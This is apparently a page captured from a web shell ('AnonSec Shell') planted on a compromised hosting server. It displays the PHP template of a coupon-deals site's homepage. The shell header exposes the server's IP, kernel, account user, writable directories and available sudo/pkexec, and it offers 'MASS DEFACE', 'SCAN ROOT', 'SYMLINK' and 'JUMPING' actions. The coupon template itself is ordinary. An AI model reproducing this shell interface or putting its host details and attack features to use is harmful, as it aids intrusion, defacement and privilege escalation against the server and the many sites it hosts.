AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/public_html/application/views/front/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/public_html/application/views/front/home-bkp.php
<!--===============================
=            Hero Area            =
================================-->

<section class="hero-area bg-1 text-center">
	<!-- Container Start -->
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<!-- Header Contetnt -->
				<div class="content-block">
					<h1>Best Deals & Coupons</h1>
					<p>We have 12569 offers from 6122 stores <br> Start saving now</p>
				</div>
				<!-- Advance Search -->
				<div class="advance-search">
					<form action="#">
						<div class="row">
							<!-- Category List -->
							<div class="col-lg-6 col-md-12">
					            <select class="select-box form-control" id="category">
					              <option selected disabled>Browse By Catergory</option>
					              <option>Appearel</option>
					              <option>Books</option>
					              <option>Personal Care</option>
					              <option>Education</option>
					              <option>Beverage</option>
					            </select>
							</div>
							<!-- Store Search -->
							<div class="col-lg-6 col-md-12">
								<div class="block d-flex">
									<input type="text" class="form-control mb-2 mr-sm-2 mb-sm-0" id="search" placeholder="Search for store">
									<!-- Search Button -->
									<button class="btn btn-secondary">SEARCH</button>
								</div>
							</div>
						</div>
					</form>
				</div>
			</div>
		</div>
	</div>
	<!-- Container End -->
</section>

<?php $store_categories = array();?>
<!--===================================
=            Client Slider            =
====================================-->
<?php if(!empty($stores_data)):?>
<section class="clients-slider-wrapper section pb-0">
    <!-- Container Start -->
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <!-- Client Slider -->
                <div class="clients-slider owl-carousel owl-theme">
                    <?php foreach($stores_data as $store):?>
                    <?php 
                        if($store['store_home_page_visibility'] == 1){
                            $store_categories[$store['category_id']] = array('category_name' => $store['category_name'], 'category_slug' => $store['category_slug']) ;
                        }
                    ?>
                    <!-- Client -->
                    <div class="item">
                        <a href="<?php echo base_url($store['store_slug']);?>">
                            <!-- Slider Image -->
                            <img src="<?php echo base_url('uploads/store/').$store['store_logo'];?>" alt="store-logo">
                        </a>
                    </div>
                    <?php endforeach;?>
                </div>

            </div>
        </div>
    </div>
    <!-- Container End -->
</section>
<?php endif;?>
<!--===========================================
=            Popular deals section            =
============================================-->

<section class="popular-deals section">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="section-title">
					<h2>Todays Popular Deals</h2>
				</div>
			</div>
		</div>
		<div class="row">
		    <?php foreach($offers_data as $offer):?>
		    
			<!-- offer 01 -->
			<div class="col-sm-12 col-lg-6">
				<!-- deal card -->
                <div class="deal-item bg-light">
                	<div class="media">
                		<!-- Image Content -->
                		<div class="img-content align-self-center">
                			<a href="store-single.html">
                				<!-- Card Image -->
                				<img src="<?php echo base_url('uploads/store/').$offer['store_logo'];?>" >
                			</a>
                			<!-- Saving -->
                			<span>Saving 20%</span>	
                		</div>
                		<!-- Media Body -->
                		<div class="media-body">
                			<!-- Card Title -->
                			<h5 class="mt-0"><?php echo $offer['offer_title'];?></h5>
                			<!-- Deal list -->
                			<ul class="list-inline">
                                <li>
                                    <a data-affliate-url="<?php echo $offer['offer_affiliate_url'];?>" href="#offer_<?php echo $offer['offer_id'];?>" class="btn btn-dual btn-<?php echo $offer['offer_type'];?> offer-btn"><span class="upper"><?php echo ($offer['offer_type'] == 'code')?'Show Code':'Get Deal';?></span><?php if($offer['offer_type'] == 'code'):?><span class="lower"><?php echo 'code'.substr($offer['offer_code'], -4);?></span><?php endif;?></a>
                                </li>

                				<li class="list-inline-item"><a href="#"><?php echo ($offer['offer_expiry_date_days_left'] < 0)?'Offer Expired':'Offer will expire in '.$offer['offer_expiry_date_days_left'].' days';?></a>
                				</li>
                			</ul>
                		</div>
                	</div>
                </div>
            </div>
            <?php endforeach;?>
		</div>
		<div class="row text-center">
			<div class="col-12">
				<a href="<?php echo base_url('categories');?>" target="_blank" class="btn btn-main mt-30">Get More Deals</a>
			</div>
		</div>
	</div>
</section>



<!--==================================
=            Subscription            =
===================================-->

<section class="subscription section bg-2 overly">
	<!-- Container Start -->
	<div class="container">
		<div class="row justify-content-md-center">
			<div class="col-md-8">
				<!-- Contents -->
				<div class="content-block">
					<!-- Heading -->
					<h2>
						Get notified when new coupons are released
					</h2>
					<!-- Subscription Form -->
					<form action="#">
						<div class="form-group d-flex">
							<!-- Email Input -->
							<input type="email" class="form-control" placeholder="Email Addess here">
							<!-- Submit Button -->
							<button class="btn btn-main">
								notify me
							</button>
						</div>
					</form>
				</div>
			</div>
		</div>
	</div>
	<!-- Container End -->
</section>

<!--==========================================
=            All Category Section            =
===========================================-->

<section class="deals-categories section">
	<!-- Container Start -->
	<div class="container">
		<div class="row">
			<div class="col-12">
				<!-- Section title -->
				<div class="section-title">
					<h2>All Categories</h2>
				</div>
				<div class="row border-bottom">
					<!-- Category list -->
					<?php
					
					$home_categories = array();
					
					$i = 0;
					$j = 0;
					foreach($categories_data as $category_data){
					    $home_categories[$j][$i] = $category_data;
					    
					    if($i == 3){
					        $i = 0;
					        $j++;
					    }
					    else{
					        $i++;
					    }
					    
					}
					
					?>
					
					<?php foreach($home_categories as $category_array):?>
    					<div class="col-lg-3 offset-lg-0 col-md-5 offset-md-1 col-sm-6 col-6">
    						<ul class="category-list" >
    						    <?php foreach($category_array as $category):?>
    							<li><a href="<?php echo $category['category_slug'];?>"><i class="fa fa-circle-o"></i><?php echo $category['category_name'];?></a></li>
    							<?php endforeach;?>
    						</ul>
    					</div> <!-- /Category List -->
					<?php endforeach;?>
				</div>
			</div>
		</div>
	</div>
	<!-- Container End -->
</section>



<!--===================================
=            Popular Store            =
====================================-->

<section class="store-list section">
	<!-- Container Start -->
	<div class="container">
		<div class="row">
			<div class="col-12">
				<div class="section-title">
					<h2>Popular Stores</h2>
				</div>
				<div class="popular">
				<div class="row">
				    <?php foreach($store_categories as $store_category_id => $store_category_data):?>
				    <div class="col-lg-3 col-md-6 col-6">
						<div class="store-list">
							<h4><?php echo $store_category_data['category_name'];?></h4>
							<ul>
        				    <?php foreach($stores_data as $popular_store):if($popular_store['category_id'] == $store_category_id):?>
        				        <li><a href="<?php echo $popular_store['store_slug'];?>"><?php echo $popular_store['store_name'];?></a></li>
        				    <?php endif;endforeach;?>
        				    </ul>
				    	</div>
					</div>
				    <?php endforeach;?>
				</div>
				<!-- View more button -->
				<div class="col-12 text-center">
					<a href="store.html" class="btn btn-transparent">view all stores</a>	
				</div>
			</div>
			</div>
		</div>
	</div>
	<!-- Container End -->
</section>


Anon7 - 2022
AnonSec Team